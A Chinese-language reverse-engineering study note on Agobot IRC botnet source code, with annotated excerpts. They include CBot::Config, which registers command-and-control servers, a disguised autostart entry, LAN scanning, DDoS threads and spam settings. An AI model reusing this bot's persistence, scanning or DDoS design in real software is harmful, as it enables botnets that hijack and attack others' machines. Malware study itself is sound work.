五、08年03月06日
作者:青青子衿
email:[email protected]
1、 random.h文件分析,該文件中函數的作用應該是完成產生隨機函數相關功能,存在三個函數
(1) 、 void init_random (); 函數,初始化隨機因子
void init_random ()
{
srand ( GetTickCount ());
}
(2) 、 int brandom ( int bot , int top ); 函數,產生一個指定範圍的隨機數
////////////////////////////////////////////////////////////
//
//函數功能:產生一個指定範圍的隨機數
//參數: int bot 隨機數範圍的下限
// int top 隨機數範圍的上線
//返回值:int 返回值爲產生的隨機數
//
//////////////////////////////////////////////////////////////
int brandom ( int bot , int top )
{
return ( int )(( float )( top - bot )* rand ()/( RAND_MAX +1.0))+ bot ;
}
(3)、 int get_random_number ( int range ); 函數, 產生一個0——range的隨機函數
////////////////////////////////////////////////////////////////
//
//函數功能:產生一個0——range的隨機函數
//參數: int range 產生隨機數範圍的上限
//返回值: 返回值爲產生的隨機數
//
/////////////////////////////////////////////////////////////////
int get_random_number ( int range )
{
return rand ()% range ;
}
2、 class CBot : public CCommandHandler 類的分析
有10個成員函數:
public :
CBot ();
void Init ();
void Config ();
void Recv ( CMessage * pMsg );
bool HandleMsg ( CMessage * pMsg );
bool Think ();
CString SysInfo ();
CString LongUptime ( int iDays );
CString Status ();
若干個成員變量:
bool m_bJoined ;
unsigned long m_lStartTime ;
cvar 類型的變量若干個
command 類型的變量若干個
irc_server 類型的變量若干個
類的結構大概就這樣的情況,由於該類比較複雜,具體分析將在後便逐步展開。
3、 void CBot :: Config () 配置文件子函數,主要功能是配置bot的服務器IP,頻道名稱,端口號,等信息,對於這個bot的有效運行非常重要。該成員還是也是 CBot 類的初始化函數 void Init(); 中首先調用的一個函數。
void CBot :: Config ()
{
init_random ();
int iCryptKey =10;
CString sTemp ;
sTemp . Format ( "%d" , brandom (500, 22226)); //產生500至22226之間的一個隨機數,作爲bot端的端口
//這裏設置的是cBot類中的成員變量中irc_server類型的變量中包含的子類型變量的值。
// void RegisterCvar(cvar *pCvar, const char *szName, const char *szValue, const char *szDescription, bool bSave, bool bEncrypted, int iKey);
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_compnick , "bot_compnick" , "false" , "CompName Generated Nick" , false , false ,0);
// The root server, this will be the most often used one
//對主IRC服務器的設置
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_chanpass , "si_server_root.chanpass" ,
"" , "Server Info - Channel Password" , false , false , 0 ); //頻道的密碼
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_mainchan , "si_server_root.mainchan" ,
"#channel" , "Server Info - Main Channel" , false , false , 0 ); //(主)頻道名
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_nickprefix , "si_server_root.nickprefix" ,
"Ago-" , "Server Info - Nickname prefix" , false , false , 0 ); //暱稱前綴
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_port , "si_server_root.port" ,
"6667" , "Server Info - Server Port" , false , false , 0 ); //IRC服務器的端口
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_server , "si_server_root.server" ,
"irc.somewhere.org" , "Server Info - Server Address" , false , false , 0 ); //IRC服務器的域名或IP
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_servpass , "si_server_root.servpass" ,
"" , "Server Info - Server Password" , false , false , 0 ); //IRC服務器登錄密碼
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_usessl , "si_server_root.use_ssl" ,
"false" , "Server Info - Use SSL ?" , false , false , 0 ); //是否使用SSL加密
g_cMainCtrl . m_cIRC . m_vServers . push_back (& m_isServerRoot ); //將主服務器信息,添加到服務器信息列表中l;
// Backup server 0 對第0個後備IRC服務器的設置
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_chanpass , "si_server_0.chanpass" , /
"" , "Server Info - Channel Password" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_mainchan , "si_server_0.mainchan" , /
"#channel" , "Server Info - Main Channel" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_nickprefix , "si_server_0.nickprefix" , /
"Ago-" , "Server Info - Nickname prefix" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_port , "si_server_0.port" , /
"6667" , "Server Info - Server Port" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_server , "si_server_0.server" , /
"irc2.somewhere.org" , "Server Info - Server Address" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_servpass , "si_server_0.servpass" , /
"" , "Server Info - Server Password" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_usessl , "si_server_0.use_ssl" , /
"false" , "Server Info - Use SSL ?" , false , false , 0 );
g_cMainCtrl . m_cIRC . m_vServers . push_back (& m_isServer0 ); //將主服務器信息,添加到服務器信息列表中
//從這裏直接設置的是cBot類中的個成員變量。
//猜測is表示bot端到IRC服務器的通訊
//猜測si標識IRC服務器到bot端的通訊
g_cMainCtrl . m_cCVar . RegisterCvar (& si_chanpass , "si_chanpass" , "" , "Server Info - Channel Password" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& si_mainchan , "si_mainchan" , "" , "Server Info - Main Channel" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& si_nickprefix , "si_nickprefix" , "" , "Server Info - Nickname prefix" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& si_port , "si_port" , "" , "Server Info - Server Port" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& si_server , "si_server" , "" , "Server Info - Server Address" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& si_servpass , "si_servpass" , "" , "Server Info - Server Password" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& si_usessl , "si_usessl" , "" , "Server Info - Use SSL ?" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& si_nick , "si_nick" , "" , "Server Info - Nickname" , false , false , 0 );
//關於Bot的信息,
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_version , "bot_version" , VERSION_AGOBOT , "Bot - Version" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_filename , "bot_filename" , "filename.exe" , "Bot - Runtime Filename" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_id , "bot_id" , "a3-100" , "Bot - Current ID" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_prefix , "bot_prefix" , "." , "Bot - Command Prefix" , false , false , 0 ); //命令前綴
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_ftrans_port , "bot_ftrans_port" , sTemp . CStr (), "Bot - File Transfer Port" , false , false , 0 ); //文件傳輸的端口
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_timeout , "bot_timeout" , "720000" , "Bot - Timeout for receiving in miliseconds" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_seclogin , "bot_seclogin" , "false" , "Bot - Enable login only by channel messages" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& bot_compnick , "bot_compnick" , "false" , "Bot - Use the computer name as a nickname" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& as_valname , "as_valname" , "Configuration Loader" , "Autostart - Value Name" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& as_enabled , "as_enabled" , "true" , "Autostart - Enabled" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& scan_maxthreads , "scan_maxthreads" , "100" , "Scanner - Maximum Number of threads" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& scan_auto , "scan_auto" , "true" , "Scanner - Autoscan local network" , false , false , 0 ); //是否自動掃描本地網絡(局域網)
g_cMainCtrl . m_cCVar . RegisterCvar (& scan_auto , "scan_auto_nb" , "true" , "Scanner - Autoscan LAN for NetBIOS" , false , false , 0 ); //是否自動使用
g_cMainCtrl . m_cCVar . RegisterCvar (& ddos_maxthreads , "ddos_maxthreads" , "100" , "DDOS - Maximum Number of threads" , false , false , 0 ); //DOS攻擊時的最大線程數
g_cMainCtrl . m_cCVar . RegisterCvar (& redir_maxthreads , "redir_maxthreads" , "100" , "Redirect - Maximum Number of threads" , false , false , 0 ); //應該與代理相關,具體的作用還不清楚
g_cMainCtrl . m_cCVar . RegisterCvar (& identd_enabled , "identd_enabled" , "false" , "IdentD - Enable the server" , false , false , 0 );
g_cMainCtrl . m_cCVar . RegisterCvar (& spam_aol_channel , "spam_aol_channel" , "#aolspam" , "AOL Spam - Channel name" , false , false , 0 ); //作用還不清楚
g_cMainCtrl . m_cCVar . RegisterCvar (& spam_aol_enabled , "spam_aol_enabled" , "true" , "AOL Spam - Channel name" , false , false , 0 ); //作用還不清楚
//將前面設置的g_cMainCtrl.m_cIRC.m_vServers.push_back(&m_isServerRoot);放進去的信息,取出來,對&g_cMainCtrl.m_cBot中的信息進行設置
//前面所設置的信息是保存在Irc_resever類中的,在這裏再將這些信息放回cBot類中
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_chanpass , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_chanpass . sValue . CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_mainchan , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_mainchan . sValue . CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_nickprefix , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_nickprefix . sValue . CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_port , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_port . sValue . CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_server , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_server . sValue . CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_servpass , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_servpass . sValue . CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_usessl , g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_usessl . sValue . CStr ());
// Use MD5 Passwords, for security reasons
g_cMainCtrl . m_cMac . AddUser ( "User" , "MYMD5HASHWILLBEBIGBADANDLONGHEHE" , "Netmask.Net" , "" ); // "password"
}
4、由於在 Config (); 函數中使用到了 CIRC 的內容,所以這裏決定再過CBot類剩餘成員函數功能的分析,先來最 CIRC 類進行一個初步的分析。
以下是對CIRC類的分析。
class CIRC : public CThread , public CCommandHandler 同時繼承了 CThread 和 CCommandHandler 兩個類
其中包括12個成員函數:並且12個成員函數均爲公有函數
CIRC ();
virtual ~ CIRC () { };
virtual void * Run ();
void Init ();
bool HandleCommand ( CMessage * pMsg );
bool SendRaw ( char * szMsg );
bool SendRawFormat ( const char * szFmt , ...);
bool SendMsg ( bool bSilent , bool bNotice , char * szMsg , char * szDst );
bool SendFormat ( bool bSilent , bool bNotice , char * szDst , const char * szFmt , ...);
void Fail ();
void Disconnect ();
CString NetInfo ();
以及多個成員變量: 也均爲公有類型
CSSLSocket m_csslSocket ; // The SSL socket
bool m_bConnected ; // Am I connected ?
bool m_bJoined ; // Have I joined the channel ?
bool m_bRunning ; // Am I still running ?
int m_sSocket ; // The socket connected to the server
int m_iFailCount ; // Number of failed connections to the server
int m_iServerNum ; // The current server index in vector
unsigned long m_lLastRecv ; // Last recv time for timeout
CString m_sLocalHost ; // The local hostname
CString m_sLocalIp ; // The local ip
unsigned long m_lLocalAddr ; // The local address as unsigned long
command m_cmdDisconnect , m_cmdAction , m_cmdGetEdu , m_cmdGetHost , m_cmdJoin , m_cmdMode , m_cmdNetInfo , m_cmdPart , m _cmd PrivMsg , m_cmdQuit , m_cmdRaw , m_cmdReconnect , m_cmdServer ;
vector < irc_server *> m_vServers ;
下面是 irc_server 結構體的具體定義
//記錄IRC服務器信息的結構體
typedef struct irc_server_s
{
cvar si_nickprefix ; //暱稱的前綴
cvar si_servpass ; //服務器的密碼
cvar si_server ; //服務器
cvar si_port ; //端口
cvar si_chanpass ; //頻道的密碼
cvar si_mainchan ; //頻道的名稱
cvar si_usessl ; //使用ssl加密協議的情況
} irc_server ;
(1) 、 CIRC () 構造函數
/////////////////////////////////////////////////////
//
//函數功能:構造函數,對類的變量進行初始化等工作
//
/////////////////////////////////////////////////////
CIRC :: CIRC ()
{
// Initialize/Clear all variables
m_bRunning = true ;
m_bConnected = false ;
m_bJoined = false ;
m_sSocket = INVALID_SOCKET ;
m_iFailCount =0;
m_iServerNum =0;
m_sLocalHost . Assign ( "" ); // Clear the localhost to prevent crash with servers that don't do userhost
m_lLastRecv = GetTickCount (); //獲得當前的時間
// Initialize SSL Socket
m_csslSocket . Init ();